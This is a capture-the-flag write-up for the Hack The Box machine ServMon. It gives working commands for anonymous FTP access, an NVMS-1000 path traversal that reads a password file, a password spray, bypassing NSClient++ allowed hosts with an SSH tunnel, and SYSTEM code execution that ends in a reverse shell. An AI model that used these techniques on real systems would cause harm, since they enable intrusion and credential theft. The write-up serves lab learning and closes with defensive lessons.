ServMon
Executive summary — ServMon starts from an anonymous FTP login that exposes two internal notes from the administrator, chains an unauthenticated path traversal in the NVMS-1000 surveillance panel to steal a password file, gets in over SSH after a cross-matched password spray, and finishes by abusing NSClient++ — whose management API password sits in plaintext inside a world-readable configuration file — to register an external script that the service runs with the
SYSTEMtoken. No single weakness here rises above medium severity; the full chain reaches complete compromise.
| Platform | Hack The Box |
| Operating system | Windows (Server 2019, build 17763) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[21/FTP] Anonymous login -> C:\Users (Nathan, Nadine) + two internal notes
| Nadine's note: left Passwords.txt on Nathan's desktop
v
[80/HTTP] NVMS-1000 -- unauthenticated path traversal -> Passwords.txt (7 passwords)
| password spray: 7 passwords x 2 users over SMB
v
[22/SSH] Nadine : L1k3B1gBut7s@W0rk -> user.txt
| world-readable nsclient.ini -> plaintext API password + CheckExternalScripts=enabled
v
[8443/HTTPS] NSClient++ API restricted to 127.0.0.1
| local SSH port-forward 8443->127.0.0.1:8443 defeats the allowed-hosts check
v
[ROOT] PUT /api/v1/scripts/ext -- external script runs as SYSTEM -> root.txt
1. Reconnaissance
sudo nmap -p- --min-rate 3000 -T4 -Pn -n --open -oN allports.nmap <TARGET_IP>
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5666/tcp open nrpe
6063/tcp open x11
6699/tcp open napster
8443/tcp open https-alt
49664-49670/tcp open (dynamic RPC)
Two things stand out before a single service gets fingerprinted. SSH on a Windows box is unusual: if valid credentials turn up, it'll be the most comfortable way in, better than WinRM or SMB for working interactively. And 5666 sitting next to 8443 is a very telling combination — 5666 is the classic Nagios Remote Plugin Executor port, and on Windows it's almost always served by NSClient++, which also runs its web management interface on 8443. It's a monitoring agent that, by design, executes scripts on the host — a natural escalation candidate worth flagging from minute one.
sudo nmap -p21,22,80,135,139,445,5666,6063,6699,8443 -sCV -Pn -n \
--script="banner,ftp-anon,http-title" -oN services.nmap <TARGET_IP>
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH for_Windows_8.0
80/tcp open http -> redirects to Pages/login.htm (NVMS-1000)
445/tcp open microsoft-ds
8443/tcp open ssl/http http-title: NSClient++
Confirmed on the first pass: anonymous FTP open and NSClient++ on 8443. Port 80 serves the login page of NVMS-1000, a TVT video surveillance product.
2. Anonymous FTP: the two notes
The scan already flagged anonymous login as allowed and a Users directory present. Instead of browsing it by hand, mirror it in full:
wget -q -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET_IP>/
<TARGET_IP>/Users/Nathan/Notes to do.txt
<TARGET_IP>/Users/Nadine/Confidential.txt
The FTP root is pinned directly at C:\Users, so this is reading actual system user profiles. Two account names, for free: Nathan and Nadine.
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this
once you have edited it yourself and place it back into the secure
folder.
Regards
Nadine
This is a roadmap written by the administrator himself, and what matters isn't only what's done but what's still pending: items 1 and 2 are Complete — the NVMS password was changed and NSClient access was locked down, both now obstacles — but items 3 and 4 are still open: the passwords were never uploaded to the secure location, and public access to NVMS was never removed. Nadine's note closes the loop: a Passwords.txt file sits on Nathan's desktop and was never deleted. FTP only exposes the root of each profile, not the desktops, so another file-read primitive is needed — and item 4 on the administrator's own list, NVMS still exposed, points straight at where to find it.
3. Directory traversal in NVMS-1000
NVMS-1000 ships with an unauthenticated path traversal bug: the web server doesn't normalize ../ sequences in the requested path, so a request that escapes the webroot resolves against the real filesystem. Since the service runs with elevated privileges, the result is arbitrary file read. Verify it first against a file that exists on any Windows box — the key flag is --path-as-is, without it curl collapses the ../ sequences client-side and they'd never reach the server:
curl -s --path-as-is \
"http://<TARGET_IP>/../../../../../../../../../../../../windows/win.ini"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Traversal confirmed; the URL-encoded variant ..%2f works too, while ..%5c (backslash) returns 404 — the server only treats the forward slash as a path separator. Now the file that actually matters:
curl -s --path-as-is \
"http://<TARGET_IP>/../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt"
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
Why that many
../work: the webroot sits several levels belowC:\. Chaining more than strictly needed doesn't break anything — once the volume root is hit, the extras are ignored — so it pays to overshoot rather than count exact levels. Worth noting: the traversal does not readuser.txtorroot.txtdirectly (both 404), so the password file is the entire prize of this phase.
4. Password spray and initial access
Seven passwords, two users: fourteen combinations. A short spray with no real lockout risk, still run as a single controlled pass rather than brute force, and crossed — every password against every user, never paired 1:1 by the order they appeared in:
printf 'Nathan\nNadine\n' > users.txt
cat > passwords.txt <<'EOF'
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
EOF
nxc smb <TARGET_IP> -u users.txt -p passwords.txt --continue-on-success
SMB <TARGET_IP> 445 SERVMON [*] Windows 10 / Server 2019 Build 17763 x64
(name:SERVMON) (domain:ServMon) (signing:True)
SMB <TARGET_IP> 445 SERVMON [+] ServMon\Nadine:L1k3B1gBut7s@W0rk
One hit, with a detail very specific to this scenario: the password sat in Nathan's file but belongs to Nadine. It matches the note — Nadine left the file for Nathan, and her own password ended up inside it too. That's exactly the kind of finding a 1:1-paired spray (--no-bruteforce) would have missed. With SSH open on the host, log in directly:
sshpass -p 'L1k3B1gBut7s@W0rk' ssh -o StrictHostKeyChecking=no Nadine@<TARGET_IP>
C:\Users\Nadine> type C:\Users\Nadine\Desktop\user.txt
1b3b2bdd7b33f205c08d9ffacf950b11
5. Post-exploitation enumeration
First, Nadine's token privileges — if SeImpersonatePrivilege were present, escalation would go through the Potato exploit family instead:
whoami /priv
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Nothing usable, and group membership is just BUILTIN\Users: Nadine is a plain user. Back to the candidate already flagged during scanning — NSClient++, which runs as a service (hence as SYSTEM) and whose configuration turns out to be world-readable:
[/settings/default]
password = ew2x6SsGTxjRwXOT
allowed hosts = 127.0.0.1
[/modules]
WEBServer = enabled
NRPEServer = enabled
CheckTaskSched = enabled
Scheduler = enabled
CheckExternalScripts = enabled
[/settings/external scripts]
allow arguments = true
Three findings in the same file, all three needed for the next step: the web API's admin password in plaintext — Nathan's "Lock down the NSClient Access - Complete" item: a password was set, but left readable by any local user —, allowed hosts = 127.0.0.1, which restricts the API to the host itself so pointing a browser at https://<TARGET_IP>:8443 gets rejected regardless of the credential, and CheckExternalScripts = enabled, the module that runs arbitrary scripts from the filesystem. Not a bug on its own — NSClient++ is built to fire external checks — the problem is it fires them with the service's token: SYSTEM.
6. Escalation: from Nadine to SYSTEM
The allowed hosts restriction is source-IP based, and there's already a valid SSH session on the box. A local port forward makes the traffic leave from 127.0.0.1 inside the target itself — exactly what the allowlist demands:
sshpass -p 'L1k3B1gBut7s@W0rk' ssh -o StrictHostKeyChecking=no \
-N -L 8443:127.0.0.1:8443 Nadine@<TARGET_IP> &
From here, https://127.0.0.1:8443 on the attacker box is the target's 8443, and NSClient++ sees the connection arrive from itself:
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' https://127.0.0.1:8443/api/v1/modules
[{"id":"CheckExternalScripts","loaded":true, ...}, {"id":"CheckTaskSched", ...}, ...]
The NSClient++ 0.5.2 REST API exposes /api/v1/scripts/ext, which lets you upload and register a script as a command in a single request — a PUT with the script body is enough: no need to write to C:\Program Files\NSClient++\scripts\ (Nadine has no permission there) or reload the service. First test, just to confirm which identity runs it:
printf '@echo off\r\nwhoami > C:\\Temp\\out.txt\r\n' > pwn.bat
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' -X PUT --data-binary @pwn.bat \
https://127.0.0.1:8443/api/v1/scripts/ext/pwn.bat
Added pwn as scripts\pwn.bat
On formatting: the
.batfiles need CRLF line endings (\r\n). With bare\n,cmd.execan misparse the last instruction.
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' \
"https://127.0.0.1:8443/api/v1/queries/pwn/commands/execute"
{"command":"pwn","lines":[{"message":"No output available from command (pwn)."}],"result":0}
The "No output" response is expected — the script redirects its output to a file instead of stdout — and from Nadine's SSH session:
C:\Users\Nadine> type C:\Temp\out.txt
nt authority\system
Code execution as SYSTEM confirmed. Same procedure for the root flag:
printf '@echo off\r\ntype C:\\Users\\Administrator\\Desktop\\root.txt > C:\\Temp\\root_out.txt\r\n' > root.bat
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' -X PUT --data-binary @root.bat \
https://127.0.0.1:8443/api/v1/scripts/ext/rootget.bat
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' \
"https://127.0.0.1:8443/api/v1/queries/rootget/commands/execute"
cba74dd81b1cc1d0aeac95fd251ed4cf
Reading flags is fine, but an interactive shell proves real control. Upload a PowerShell stager and have a .bat invoke it, splitting the payload into a .ps1 plus a launcher .bat rather than embedding the one-liner directly — .bat files treat % and " specially, and a long one-liner corrupts easily:
scp rev.ps1 Nadine@<TARGET_IP>:C:/Temp/rev.ps1
printf '@echo off\r\npowershell -ExecutionPolicy Bypass -NoProfile -File C:\\Temp\\rev.ps1\r\n' > rev.bat
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' -X PUT --data-binary @rev.bat \
https://127.0.0.1:8443/api/v1/scripts/ext/revshell.bat
curl -s -k -u 'admin:ew2x6SsGTxjRwXOT' \
"https://127.0.0.1:8443/api/v1/queries/revshell/commands/execute" &
[+] connection from ('<TARGET_IP>', 49692)
>>> whoami
nt authority\system
PS C:\Program Files\NSClient++>
>>> hostname
ServMon
The working directory — C:\Program Files\NSClient++ — confirms the monitoring service itself is the one launching the process.
7. Cleanup
Scripts registered through the API stay on disk and in the service's in-memory configuration; remove them with one last script, also run as SYSTEM:
del /q "C:\Program Files\NSClient++\scripts\pwn.bat" ^
"C:\Program Files\NSClient++\scripts\rootget.bat" ^
"C:\Program Files\NSClient++\scripts\revshell.bat"
del /q C:\Temp\out.txt C:\Temp\root_out.txt C:\Temp\rev.ps1
The configuration entries created through the API only live in memory — they're never written to nsclient.ini and vanish on a service restart.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Anonymous FTP | Unauthenticated login serving the root of C:\Users | Valid usernames and context (internal notes) |
| Foothold | NVMS-1000 :80 | Unauthenticated path traversal (unnormalized ../) | Arbitrary file read — Passwords.txt |
| Initial access | SSH / SMB | Password reuse across accounts (Nathan → Nadine) | SSH session as Nadine (user.txt) |
| PrivEsc | NSClient++ 0.5.2 | Plaintext password in nsclient.ini + CheckExternalScripts enabled | Arbitrary script execution as SYSTEM |
| Bypass | NSClient++ REST API :8443 | IP-based allowed hosts defeated with a local SSH tunnel | Access to the localhost-only API (root.txt) |
Lessons learned
- An administrator's own to-do list, even non-technical, is high-value recon: it reveals which mitigations were applied and, more importantly, which were left half-done.
- Restricting a service to
allowed hosts = 127.0.0.1is no barrier against an attacker who already has a session on the host itself — a simple port forward defeats it entirely. - A plaintext admin password inside a configuration file readable by any local user cancels out any other access control that depends on that credential.
- A monitoring agent with permission to run external scripts almost always runs as SYSTEM or an otherwise privileged account: protecting its API is as critical as protecting the host itself.
- Never reuse passwords across accounts, not even within the same admin team — here a credential sitting inside "Nathan's" file turned out to belong to Nadine.